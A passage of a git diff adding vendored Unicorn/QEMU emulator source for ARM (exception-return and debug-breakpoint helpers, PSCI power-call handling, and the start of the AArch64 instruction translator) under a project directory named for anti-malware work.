if (!secure && cur_el == 1 && (env->cp15.hcr_el2 & HCR_TSC)) { + /* In NS EL1, HCR controlled routing to EL2 has priority over SMD. */ + env->exception.syndrome = syndrome; + raise_exception(env, EXCP_HYP_TRAP); + } + + if (undef) { + env->exception.syndrome = syn_uncategorized(); + raise_exception(env, EXCP_UDEF); + } +} + +void HELPER(exception_return)(CPUARMState *env) +{ + int cur_el = arm_current_el(env); + unsigned int spsr_idx = aarch64_banked_spsr_index(cur_el); + uint32_t spsr = env->banked_spsr[spsr_idx]; + int new_el, i; + + aarch64_save_sp(env, cur_el); + + env->exclusive_addr = -1; + + /* We must squash the PSTATE.SS bit to zero unless both of the + * following hold: + * 1. debug exceptions are currently disabled + * 2. singlestep will be active in the EL we return to + * We check 1 here and 2 after we've done the pstate/cpsr write() to + * transition to the EL we're going to. + */ + if (arm_generate_debug_exceptions(env)) { + spsr &= ~PSTATE_SS; + } + + if (spsr & PSTATE_nRW) { + /* TODO: We currently assume EL1/2/3 are running in AArch64. */ + env->aarch64 = 0; + new_el = 0; + env->uncached_cpsr = 0x10; + cpsr_write(env, spsr, ~0); + if (!arm_singlestep_active(env)) { + env->uncached_cpsr &= ~PSTATE_SS; + } + for (i = 0; i < 15; i++) { + env->regs[i] = env->xregs[i]; + } + + env->regs[15] = env->elr_el[1] & ~0x1; + } else { + new_el = extract32(spsr, 2, 2); + if (new_el > cur_el + || (new_el == 2 && !arm_feature(env, ARM_FEATURE_EL2))) { + /* Disallow return to an EL which is unimplemented or higher + * than the current one. + */ + goto illegal_return; + } + if (extract32(spsr, 1, 1)) { + /* Return with reserved M[1] bit set */ + goto illegal_return; + } + if (new_el == 0 && (spsr & PSTATE_SP)) { + /* Return to EL0 with M[0] bit set */ + goto illegal_return; + } + env->aarch64 = 1; + pstate_write(env, spsr); + if (!arm_singlestep_active(env)) { + env->pstate &= ~PSTATE_SS; + } + aarch64_restore_sp(env, new_el); + env->pc = env->elr_el[cur_el]; + } + + return; + +illegal_return: + /* Illegal return events of various kinds have architecturally + * mandated behaviour: + * restore NZCV and DAIF from SPSR_ELx + * set PSTATE.IL + * restore PC from ELR_ELx + * no change to exception level, execution state or stack pointer + */ + env->pstate |= PSTATE_IL; + env->pc = env->elr_el[cur_el]; + spsr &= PSTATE_NZCV | PSTATE_DAIF; + spsr |= pstate_read(env) & ~(PSTATE_NZCV | PSTATE_DAIF); + pstate_write(env, spsr); + if (!arm_singlestep_active(env)) { + env->pstate &= ~PSTATE_SS; + } +} + +/* Return true if the linked breakpoint entry lbn passes its checks */ +static bool linked_bp_matches(ARMCPU *cpu, int lbn) +{ + CPUARMState *env = &cpu->env; + uint64_t bcr = env->cp15.dbgbcr[lbn]; + int brps = extract32(cpu->dbgdidr, 24, 4); + int ctx_cmps = extract32(cpu->dbgdidr, 20, 4); + int bt; + uint32_t contextidr; + + /* Links to unimplemented or non-context aware breakpoints are + * CONSTRAINED UNPREDICTABLE: either behave as if disabled, or + * as if linked to an UNKNOWN context-aware breakpoint (in which + * case DBGWCR_EL1.LBN must indicate that breakpoint). + * We choose the former. + */ + if (lbn > brps || lbn < (brps - ctx_cmps)) { + return false; + } + + bcr = env->cp15.dbgbcr[lbn]; + + if (extract64(bcr, 0, 1) == 0) { + /* Linked breakpoint disabled : generate no events */ + return false; + } + + bt = extract64(bcr, 20, 4); + + /* We match the whole register even if this is AArch32 using the + * short descriptor format (in which case it holds both PROCID and ASID), + * since we don't implement the optional v7 context ID masking. + */ + contextidr = extract64(env->cp15.contextidr_el1, 0, 32); + + switch (bt) { + case 3: /* linked context ID match */ + if (arm_current_el(env) > 1) { + /* Context matches never fire in EL2 or (AArch64) EL3 */ + return false; + } + return (contextidr == extract64(env->cp15.dbgbvr[lbn], 0, 32)); + case 5: /* linked address mismatch (reserved in AArch64) */ + case 9: /* linked VMID match (reserved if no EL2) */ + case 11: /* linked context ID and VMID match (reserved if no EL2) */ + default: + /* Links to Unlinked context breakpoints must generate no + * events; we choose to do the same for reserved values too. + */ + return false; + } + + return false; +} + +static bool bp_wp_matches(ARMCPU *cpu, int n, bool is_wp) +{ + CPUARMState *env = &cpu->env; + uint64_t cr; + int pac, hmc, ssc, wt, lbn; + /* TODO: check against CPU security state when we implement TrustZone */ + bool is_secure = false; + + if (is_wp) { + if (!env->cpu_watchpoint[n] + || !(env->cpu_watchpoint[n]->flags & BP_WATCHPOINT_HIT)) { + return false; + } + cr = env->cp15.dbgwcr[n]; + } else { + uint64_t pc = is_a64(env) ? env->pc : env->regs[15]; + + if (!env->cpu_breakpoint[n] || env->cpu_breakpoint[n]->pc != pc) { + return false; + } + cr = env->cp15.dbgbcr[n]; + } + /* The WATCHPOINT_HIT flag guarantees us that the watchpoint is + * enabled and that the address and access type match; for breakpoints + * we know the address matched; check the remaining fields, including + * linked breakpoints. We rely on WCR and BCR having the same layout + * for the LBN, SSC, HMC, PAC/PMC and is-linked fields. + * Note that some combinations of {PAC, HMC, SSC} are reserved and + * must act either like some valid combination or as if the watchpoint + * were disabled. We choose the former, and use this together with + * the fact that EL3 must always be Secure and EL2 must always be + * Non-Secure to simplify the code slightly compared to the full + * table in the ARM ARM. + */ + pac = extract64(cr, 1, 2); + hmc = extract64(cr, 13, 1); + ssc = extract64(cr, 14, 2); + + switch (ssc) { + case 0: + break; + case 1: + case 3: + if (is_secure) { + return false; + } + break; + case 2: + if (!is_secure) { + return false; + } + break; + } + + /* TODO: this is not strictly correct because the LDRT/STRT/LDT/STT + * "unprivileged access" instructions should match watchpoints as if + * they were accesses done at EL0, even if the CPU is at EL1 or higher. + * Implementing this would require reworking the core watchpoint code + * to plumb the mmu_idx through to this point. Luckily Linux does not + * rely on this behaviour currently. + * For breakpoints we do want to use the current CPU state. + */ + switch (arm_current_el(env)) { + case 3: + case 2: + if (!hmc) { + return false; + } + break; + case 1: + if (extract32(pac, 0, 1) == 0) { + return false; + } + break; + case 0: + if (extract32(pac, 1, 1) == 0) { + return false; + } + break; + default: + g_assert_not_reached(); + } + + wt = extract64(cr, 20, 1); + lbn = extract64(cr, 16, 4); + + if (wt && !linked_bp_matches(cpu, lbn)) { + return false; + } + + return true; +} + +static bool check_watchpoints(ARMCPU *cpu) +{ + CPUARMState *env = &cpu->env; + int n; + + /* If watchpoints are disabled globally or we can't take debug + * exceptions here then watchpoint firings are ignored. + */ + if (extract32(env->cp15.mdscr_el1, 15, 1) == 0 + || !arm_generate_debug_exceptions(env)) { + return false; + } + + for (n = 0; n < ARRAY_SIZE(env->cpu_watchpoint); n++) { + if (bp_wp_matches(cpu, n, true)) { + return true; + } + } + return false; +} + +static bool check_breakpoints(ARMCPU *cpu) +{ + CPUARMState *env = &cpu->env; + int n; + + /* If breakpoints are disabled globally or we can't take debug + * exceptions here then breakpoint firings are ignored. + */ + if (extract32(env->cp15.mdscr_el1, 15, 1) == 0 + || !arm_generate_debug_exceptions(env)) { + return false; + } + + for (n = 0; n < ARRAY_SIZE(env->cpu_breakpoint); n++) { + if (bp_wp_matches(cpu, n, false)) { + return true; + } + } + return false; +} + +void arm_debug_excp_handler(CPUState *cs) +{ + /* Called by core code when a watchpoint or breakpoint fires; + * need to check which one and raise the appropriate exception. + */ + ARMCPU *cpu = ARM_CPU(cs->uc, cs); + CPUARMState *env = &cpu->env; + CPUWatchpoint *wp_hit = cs->watchpoint_hit; + + if (wp_hit) { + if (wp_hit->flags & BP_CPU) { + cs->watchpoint_hit = NULL; + if (check_watchpoints(cpu)) { + bool wnr = (wp_hit->flags & BP_WATCHPOINT_HIT_WRITE) != 0; + bool same_el = arm_debug_target_el(env) == arm_current_el(env); + + env->exception.syndrome = syn_watchpoint(same_el, 0, wnr); + if (extended_addresses_enabled(env)) { + env->exception.fsr = (1 << 9) | 0x22; + } else { + env->exception.fsr = 0x2; + } + env->exception.vaddress = wp_hit->hitaddr; + raise_exception(env, EXCP_DATA_ABORT); + } else { + cpu_resume_from_signal(cs, NULL); + } + } + } else { + if (check_breakpoints(cpu)) { + bool same_el = (arm_debug_target_el(env) == arm_current_el(env)); + env->exception.syndrome = syn_breakpoint(same_el); + if (extended_addresses_enabled(env)) { + env->exception.fsr = (1 << 9) | 0x22; + } else { + env->exception.fsr = 0x2; + } + /* FAR is UNKNOWN, so doesn't need setting */ + raise_exception(env, EXCP_PREFETCH_ABORT); + } + } +} + +/* ??? Flag setting arithmetic is awkward because we need to do comparisons. + The only way to do that in TCG is a conditional branch, which clobbers + all our temporaries. For now implement these as helper functions. */ + +/* Similarly for variable shift instructions. */ + +uint32_t HELPER(shl_cc)(CPUARMState *env, uint32_t x, uint32_t i) +{ + int shift = i & 0xff; + if (shift >= 32) { + if (shift == 32) + env->CF = x & 1; + else + env->CF = 0; + return 0; + } else if (shift != 0) { + env->CF = (x >> (32 - shift)) & 1; + return x << shift; + } + return x; +} + +uint32_t HELPER(shr_cc)(CPUARMState *env, uint32_t x, uint32_t i) +{ + int shift = i & 0xff; + if (shift >= 32) { + if (shift == 32) + env->CF = (x >> 31) & 1; + else + env->CF = 0; + return 0; + } else if (shift != 0) { + env->CF = (x >> (shift - 1)) & 1; + return x >> shift; + } + return x; +} + +uint32_t HELPER(sar_cc)(CPUARMState *env, uint32_t x, uint32_t i) +{ + int shift = i & 0xff; + if (shift >= 32) { + env->CF = (x >> 31) & 1; + return (int32_t)x >> 31; + } else if (shift != 0) { + env->CF = (x >> (shift - 1)) & 1; + return (int32_t)x >> shift; + } + return x; +} + +uint32_t HELPER(ror_cc)(CPUARMState *env, uint32_t x, uint32_t i) +{ + int shift1, shift; + shift1 = i & 0xff; + shift = shift1 & 0x1f; + if (shift == 0) { + if (shift1 != 0) + env->CF = (x >> 31) & 1; + return x; + } else { + env->CF = (x >> (shift - 1)) & 1; + return ((uint32_t)x >> shift) | (x << (32 - shift)); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/psci.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/psci.c new file mode 100644 index 0000000..5b305b1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/psci.c @@ -0,0 +1,242 @@ +/* + * Copyright (C) 2014 - Linaro + * Author: Rob Herring + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see . + */ +#include +#include +#include +#include +#include +#include "internals.h" + +bool arm_is_psci_call(ARMCPU *cpu, int excp_type) +{ + /* Return true if the r0/x0 value indicates a PSCI call and + * the exception type matches the configured PSCI conduit. This is + * called before the SMC/HVC instruction is executed, to decide whether + * we should treat it as a PSCI call or with the architecturally + * defined behaviour for an SMC or HVC (which might be UNDEF or trap + * to EL2 or to EL3). + */ + CPUARMState *env = &cpu->env; + uint64_t param = is_a64(env) ? env->xregs[0] : env->regs[0]; + + switch (excp_type) { + case EXCP_HVC: + if (cpu->psci_conduit != QEMU_PSCI_CONDUIT_HVC) { + return false; + } + break; + case EXCP_SMC: + if (cpu->psci_conduit != QEMU_PSCI_CONDUIT_SMC) { + return false; + } + break; + default: + return false; + } + + switch (param) { + case QEMU_PSCI_0_2_FN_PSCI_VERSION: + case QEMU_PSCI_0_2_FN_MIGRATE_INFO_TYPE: + case QEMU_PSCI_0_2_FN_AFFINITY_INFO: + case QEMU_PSCI_0_2_FN64_AFFINITY_INFO: + case QEMU_PSCI_0_2_FN_SYSTEM_RESET: + case QEMU_PSCI_0_2_FN_SYSTEM_OFF: + case QEMU_PSCI_0_1_FN_CPU_ON: + case QEMU_PSCI_0_2_FN_CPU_ON: + case QEMU_PSCI_0_2_FN64_CPU_ON: + case QEMU_PSCI_0_1_FN_CPU_OFF: + case QEMU_PSCI_0_2_FN_CPU_OFF: + case QEMU_PSCI_0_1_FN_CPU_SUSPEND: + case QEMU_PSCI_0_2_FN_CPU_SUSPEND: + case QEMU_PSCI_0_2_FN64_CPU_SUSPEND: + case QEMU_PSCI_0_1_FN_MIGRATE: + case QEMU_PSCI_0_2_FN_MIGRATE: + return true; + default: + return false; + } +} + +void arm_handle_psci_call(ARMCPU *cpu) +{ + /* + * This function partially implements the logic for dispatching Power State + * Coordination Interface (PSCI) calls (as described in ARM DEN 0022B.b), + * to the extent required for bringing up and taking down secondary cores, + * and for handling reset and poweroff requests. + * Additional information about the calling convention used is available in + * the document 'SMC Calling Convention' (ARM DEN 0028) + */ + CPUState *cs = CPU(cpu); + CPUARMState *env = &cpu->env; + uint64_t param[4]; + uint64_t context_id, mpidr; + target_ulong entry; + int32_t ret = 0; + int i; + + for (i = 0; i < 4; i++) { + /* + * All PSCI functions take explicit 32-bit or native int sized + * arguments so we can simply zero-extend all arguments regardless + * of which exact function we are about to call. + */ + param[i] = is_a64(env) ? env->xregs[i] : env->regs[i]; + } + + if ((param[0] & QEMU_PSCI_0_2_64BIT) && !is_a64(env)) { + ret = QEMU_PSCI_RET_INVALID_PARAMS; + goto err; + } + + switch (param[0]) { + CPUState *target_cpu_state; + ARMCPU *target_cpu; + CPUClass *target_cpu_class; + + case QEMU_PSCI_0_2_FN_PSCI_VERSION: + ret = QEMU_PSCI_0_2_RET_VERSION_0_2; + break; + case QEMU_PSCI_0_2_FN_MIGRATE_INFO_TYPE: + ret = QEMU_PSCI_0_2_RET_TOS_MIGRATION_NOT_REQUIRED; /* No trusted OS */ + break; + case QEMU_PSCI_0_2_FN_AFFINITY_INFO: + case QEMU_PSCI_0_2_FN64_AFFINITY_INFO: + mpidr = param[1]; + + switch (param[2]) { + case 0: + target_cpu_state = qemu_get_cpu(env->uc, mpidr & 0xff); + if (!target_cpu_state) { + ret = QEMU_PSCI_RET_INVALID_PARAMS; + break; + } + target_cpu = ARM_CPU(env->uc, target_cpu_state); + ret = target_cpu->powered_off ? 1 : 0; + break; + default: + /* Everything above affinity level 0 is always on. */ + ret = 0; + } + break; + case QEMU_PSCI_0_2_FN_SYSTEM_RESET: + qemu_system_reset_request(env->uc); + /* QEMU reset and shutdown are async requests, but PSCI + * mandates that we never return from the reset/shutdown + * call, so power the CPU off now so it doesn't execute + * anything further. + */ + goto cpu_off; + case QEMU_PSCI_0_2_FN_SYSTEM_OFF: + qemu_system_shutdown_request(); + goto cpu_off; + case QEMU_PSCI_0_1_FN_CPU_ON: + case QEMU_PSCI_0_2_FN_CPU_ON: + case QEMU_PSCI_0_2_FN64_CPU_ON: + mpidr = param[1]; + entry = param[2]; + context_id = param[3]; + + /* change to the cpu we are powering up */ + target_cpu_state = qemu_get_cpu(env->uc, mpidr & 0xff); + if (!target_cpu_state) { + ret = QEMU_PSCI_RET_INVALID_PARAMS; + break; + } + target_cpu = ARM_CPU(env->uc, target_cpu_state); + if (!target_cpu->powered_off) { + ret = QEMU_PSCI_RET_ALREADY_ON; + break; + } + target_cpu_class = CPU_GET_CLASS(env->uc, target_cpu); + + /* Initialize the cpu we are turning on */ + cpu_reset(target_cpu_state); + target_cpu->powered_off = false; + target_cpu_state->halted = 0; + + /* + * The PSCI spec mandates that newly brought up CPUs enter the + * exception level of the caller in the same execution mode as + * the caller, with context_id in x0/r0, respectively. + * + * For now, it is sufficient to assert() that CPUs come out of + * reset in the same mode as the calling CPU, since we only + * implement EL1, which means that + * (a) there is no EL2 for the calling CPU to trap into to change + * its state + * (b) the newly brought up CPU enters EL1 immediately after coming + * out of reset in the default state + */ + assert(is_a64(env) == is_a64(&target_cpu->env)); + if (is_a64(env)) { + if (entry & 1) { + ret = QEMU_PSCI_RET_INVALID_PARAMS; + break; + } + target_cpu->env.xregs[0] = context_id; + } else { + target_cpu->env.regs[0] = context_id; + target_cpu->env.thumb = entry & 1; + } + target_cpu_class->set_pc(target_cpu_state, entry); + + ret = 0; + break; + case QEMU_PSCI_0_1_FN_CPU_OFF: + case QEMU_PSCI_0_2_FN_CPU_OFF: + goto cpu_off; + case QEMU_PSCI_0_1_FN_CPU_SUSPEND: + case QEMU_PSCI_0_2_FN_CPU_SUSPEND: + case QEMU_PSCI_0_2_FN64_CPU_SUSPEND: + /* Affinity levels are not supported in QEMU */ + if (param[1] & 0xfffe0000) { + ret = QEMU_PSCI_RET_INVALID_PARAMS; + break; + } + /* Powerdown is not supported, we always go into WFI */ + if (is_a64(env)) { + env->xregs[0] = 0; + } else { + env->regs[0] = 0; + } + helper_wfi(env); + break; + case QEMU_PSCI_0_1_FN_MIGRATE: + case QEMU_PSCI_0_2_FN_MIGRATE: + ret = QEMU_PSCI_RET_NOT_SUPPORTED; + break; + default: + g_assert_not_reached(); + } + +err: + if (is_a64(env)) { + env->xregs[0] = ret; + } else { + env->regs[0] = ret; + } + return; + +cpu_off: + cpu->powered_off = true; + cs->halted = 1; + cs->exception_index = EXCP_HLT; + cpu_loop_exit(cs); + /* notreached */ +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate-a64.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate-a64.c new file mode 100644 index 0000000..52337b9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate-a64.c @@ -0,0 +1,11280 @@ +/* + * AArch64 translation + * + * Copyright (c) 2013 Alexander Graf + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include +#include +#include +#include +#include "unicorn/platform.h" + +#include "cpu.h" +#include "tcg-op.h" +#include "qemu/log.h" +#include "arm_ldst.h" +#include "translate.h" +#include "internals.h" +#include "qemu/host-utils.h" + +#include "exec/helper-proto.h" +#include "exec/helper-gen.h" + +#include "exec/gen-icount.h" + +#ifdef CONFIG_USER_ONLY +static TCGv_i64 cpu_exclusive_test; +static TCGv_i32 cpu_exclusive_info; +#endif + +static const char *regnames[] = { + "x0", "x1", "x2", "x3", "x4", "x5", "x6", "x7", + "x8", "x9", "x10", "x11", "x12", "x13", "x14", "x15", + "x16", "x17", "x18", "x19", "x20", "x21", "x22", "x23", + "x24", "x25", "x26", "x27", "x28", "x29", "lr", "sp" +}; + +enum a64_shift_type { + A64_SHIFT_TYPE_LSL = 0, + A64_SHIFT_TYPE_LSR = 1, + A64_SHIFT_TYPE_ASR = 2, + A64_SHIFT_TYPE_ROR = 3 +}; + +/* Table based decoder typedefs - used when the relevant bits for decode + * are too awkwardly scattered across the instruction (eg SIMD). + */ +typedef void AArch64DecodeFn(DisasContext *s, uint32_t insn); + +typedef struct AArch64DecodeTable { + uint32_t pattern; + uint32_t mask; + AArch64DecodeFn *disas_fn; +} AArch64DecodeTable; + +/* Function prototype for gen_ functions for calling Neon helpers */ +typedef void NeonGenOneOpEnvFn(TCGContext *t, TCGv_i32, TCGv_ptr, TCGv_i32); +typedef void NeonGenTwoOpFn(TCGContext *t, TCGv_i32, TCGv_i32, TCGv_i32); +typedef void NeonGenTwoOpEnvFn(TCGContext *t, TCGv_i32, TCGv_ptr, TCGv_i32, TCGv_i32); +typedef void NeonGenTwo64OpFn(TCGContext *t, TCGv_i64, TCGv_i64, TCGv_i64); +typedef void NeonGenTwo64OpEnvFn(TCGContext *t, TCGv_i64, TCGv_ptr, TCGv_i64, TCGv_i64); +typedef void NeonGenNarrowFn(TCGContext *t, TCGv_i32, TCGv_i64); +typedef void NeonGenNarrowEnvFn(TCGContext *t, TCGv_i32, TCGv_ptr, TCGv_i64); +typedef void NeonGenWidenFn(TCGContext *t, TCGv_i64, TCGv_i32); +typedef void NeonGenTwoSingleOPFn(TCGContext *t, TCGv_i32, TCGv_i32, TCGv_i32, TCGv_ptr); +typedef void NeonGenTwoDoubleOPFn(TCGContext *t, TCGv_i64, TCGv_i64, TCGv_i64, TCGv_ptr); +typedef void NeonGenOneOpFn(TCGContext *t, TCGv_i64, TCGv_i64); +typedef void CryptoTwoOpEnvFn(TCGContext *t, TCGv_ptr, TCGv_i32, TCGv_i32); +typedef void CryptoThreeOpEnvFn(TCGContext *t, TCGv_ptr, TCGv_i32, TCGv_i32, TCGv_i32); + +/* initialize TCG globals. */ +void a64_translate_init(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + int i; + + tcg_ctx->cpu_pc = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, pc), + "pc"); + for (i = 0; i < 32; i++) { + tcg_ctx->cpu_X[i] = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, xregs[i]), + regnames[i]); + } + + tcg_ctx->cpu_NF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, NF), "NF"); + tcg_ctx->cpu_ZF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, ZF), "ZF"); + tcg_ctx->cpu_CF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, CF), "CF"); + tcg_ctx->cpu_VF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, VF), "VF"); + + tcg_ctx->cpu_exclusive_addr = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_addr), "exclusive_addr"); + tcg_ctx->cpu_exclusive_val = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_val), "exclusive_val"); + tcg_ctx->cpu_exclusive_high = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_high), "exclusive_high"); +#ifdef CONFIG_USER_ONLY + cpu_exclusive_test = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_test), "exclusive_test"); + cpu_exclusive_info = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_info), "exclusive_info"); +#endif +} + +#if 0 +void aarch64_cpu_dump_state(CPUState *cs, FILE *f, + fprintf_function cpu_fprintf, int flags) +{ + ARMCPU *cpu = ARM_CPU(cs); + CPUARMState *env = &cpu->env; + uint32_t psr = pstate_read(env); + int i; + + cpu_fprintf(f, "PC=%016"PRIx64" SP=%016"PRIx64"\n", + env->pc, env->xregs[31]); + for (i = 0; i < 31; i++) { + cpu_fprintf(f, "X%02d=%016"PRIx64, i, env->xregs[i]); + if ((i % 4) == 3) { + cpu_fprintf(f, "\n"); + } else { + cpu_fprintf(f, " "); + } + } + cpu_fprintf(f, "PSTATE=%08x (flags %c%c%c%c)\n", + psr, + psr & PSTATE_N ? 'N' : '-', + psr & PSTATE_Z ? 'Z' : '-', + psr & PSTATE_C ? 'C' : '-', + psr & PSTATE_V ? 'V' : '-'); + cpu_fprintf(f, "\n"); + + if (flags & CPU_DUMP_FPU) { + int numvfpregs = 32; + for (i = 0; i < numvfpregs; i += 2) { + uint64_t vlo = float64_val(env->vfp.regs[i * 2]); + uint64_t vhi = float64_val(env->vfp.regs[(i * 2) + 1]); + cpu_fprintf(f, "q%02d=%016" PRIx64 ":%016" PRIx64 " ", + i, vhi, vlo); + vlo = float64_val(env->vfp.regs[(i + 1) * 2]); + vhi = float64_val(env->vfp.regs[((i + 1) * 2) + 1]); + cpu_fprintf(f, "q%02d=%016" PRIx64 ":%016" PRIx64 "\n", + i + 1, vhi, vlo); + } + cpu_fprintf(f, "FPCR: %08x FPSR: %08x\n", + vfp_get_fpcr(env), vfp_get_fpsr(env)); + } +} +#endif + +void gen_a64_set_pc_im(DisasContext *s, uint64_t val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_pc, val); +} + +static void gen_exception_internal(DisasContext *s, int excp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_excp = tcg_const_i32(tcg_ctx, excp); + + assert(excp_is_internal(excp)); + gen_helper_exception_internal(tcg_ctx, tcg_ctx->cpu_env, tcg_excp); + tcg_temp_free_i32(tcg_ctx, tcg_excp); +} + +static void gen_exception(DisasContext *s, int excp, uint32_t syndrome) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_excp = tcg_const_i32(tcg_ctx, excp); + TCGv_i32 tcg_syn = tcg_const_i32(tcg_ctx, syndrome); + + gen_helper_exception_with_syndrome(tcg_ctx, tcg_ctx->cpu_env, tcg_excp, tcg_syn); + tcg_temp_free_i32(tcg_ctx, tcg_syn); + tcg_temp_free_i32(tcg_ctx, tcg_excp); +} + +static void gen_exception_internal_insn(DisasContext *s, int offset, int excp) +{ + gen_a64_set_pc_im(s, s->pc - offset); + gen_exception_internal(s, excp); + s->is_jmp = DISAS_EXC; +} + +static void gen_exception_insn(DisasContext *s, int offset, int excp, + uint32_t syndrome) +{ + gen_a64_set_pc_im(s, s->pc - offset); + gen_exception(s, excp, syndrome); + s->is_jmp = DISAS_EXC; +} + +static void gen_ss_advance(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* If the singlestep state is Active-not-pending, advance to + * Active-pending. + */ + if (s->ss_active) { + s->pstate_ss = 0; + gen_helper_clear_pstate_ss(tcg_ctx, tcg_ctx->cpu_env); + } +} + +static void gen_step_complete_exception(DisasContext *s) +{ + /* We just completed step of an insn. Move from Active-not-pending + * to Active-pending, and then also take the swstep exception. + * This corresponds to making the (IMPDEF) choice to prioritize + * swstep exceptions over asynchronous exceptions taken to an exception + * level where debug is disabled. This choice has the advantage that + * we do not need to maintain internal state corresponding to the + * ISV/EX syndrome bits between completion of the step and generation + * of the exception, and our syndrome information is always correct. + */ + gen_ss_advance(s); + gen_exception(s, EXCP_UDEF, syn_swstep(s->ss_same_el, 1, s->is_ldex)); + s->is_jmp = DISAS_EXC; +} + +static inline bool use_goto_tb(DisasContext *s, int n, uint64_t dest) +{ + /* No direct tb linking with singlestep (either QEMU's or the ARM + * debug architecture kind) or deterministic io + */ + if (s->singlestep_enabled || s->ss_active || (s->tb->cflags & CF_LAST_IO)) { + return false; + } + + /* Only link tbs from inside the same guest page */ + if ((s->tb->pc & TARGET_PAGE_MASK) != (dest & TARGET_PAGE_MASK)) { + return false; + } + + return true; +} + +static inline void gen_goto_tb(DisasContext *s, int n, uint64_t dest) +{ + TranslationBlock *tb; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + tb = s->tb; + if (use_goto_tb(s, n, dest)) { + tcg_gen_goto_tb(tcg_ctx, n); + gen_a64_set_pc_im(s, dest); + tcg_gen_exit_tb(tcg_ctx, (intptr_t)tb + n); + s->is_jmp = DISAS_TB_JUMP; + } else { + gen_a64_set_pc_im(s, dest); + if (s->ss_active) { + gen_step_complete_exception(s); + } else if (s->singlestep_enabled) { + gen_exception_internal(s, EXCP_DEBUG); + } else { + tcg_gen_exit_tb(tcg_ctx, 0); + s->is_jmp = DISAS_TB_JUMP; + } + } +} + +static void unallocated_encoding(DisasContext *s) +{ + /* Unallocated and reserved encodings are uncategorized */ + gen_exception_insn(s, 4, EXCP_UDEF, syn_uncategorized()); +} + +#define unsupported_encoding(s, insn) \ + do { \ + qemu_log_mask(LOG_UNIMP, \ + "%s:%d: unsupported instruction encoding 0x%08x " \ + "at pc=%016" PRIx64 "\n", \ + __FILE__, __LINE__, insn, s->pc - 4); \ + unallocated_encoding(s); \ + } while (0); + +static void init_tmp_a64_array(DisasContext *s) +{ +#ifdef CONFIG_DEBUG_TCG + int i; + for (i = 0; i < ARRAY_SIZE(s->tmp_a64); i++) { + TCGV_UNUSED_I64(s->tmp_a64[i]); + } +#endif + s->tmp_a64_count = 0; +} + +static void free_tmp_a64(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int i; + for (i = 0; i < s->tmp_a64_count; i++) { + tcg_temp_free_i64(tcg_ctx, s->tmp_a64[i]); + } + init_tmp_a64_array(s); +} + +static TCGv_i64 new_tmp_a64(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + assert(s->tmp_a64_count < TMP_A64_MAX); + return s->tmp_a64[s->tmp_a64_count++] = tcg_temp_new_i64(tcg_ctx); +} + +static TCGv_i64 new_tmp_a64_zero(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 t = new_tmp_a64(s); + tcg_gen_movi_i64(tcg_ctx, t, 0); + return t; +} + +/* + * Register access functions + * + * These functions are used for directly accessing a register in where + * changes to the final register value are likely to be made. If you + * need to use a register for temporary calculation (e.g. index type + * operations) use the read_* form. + * + * B1.2.1 Register mappings + * + * In instruction register encoding 31 can refer to ZR (zero register) or + * the SP (stack pointer) depending on context. In QEMU's case we map SP + * to tcg_ctx->cpu_X[31] and ZR accesses to a temporary which can be discarded. + * This is the point of the _sp forms. + */ +static TCGv_i64 cpu_reg(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (reg == 31) { + return new_tmp_a64_zero(s); + } else { + return tcg_ctx->cpu_X[reg]; + } +} + +/* register access for when 31 == SP */ +static TCGv_i64 cpu_reg_sp(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + return tcg_ctx->cpu_X[reg]; +} + +/* read a cpu register in 32bit/64bit mode. 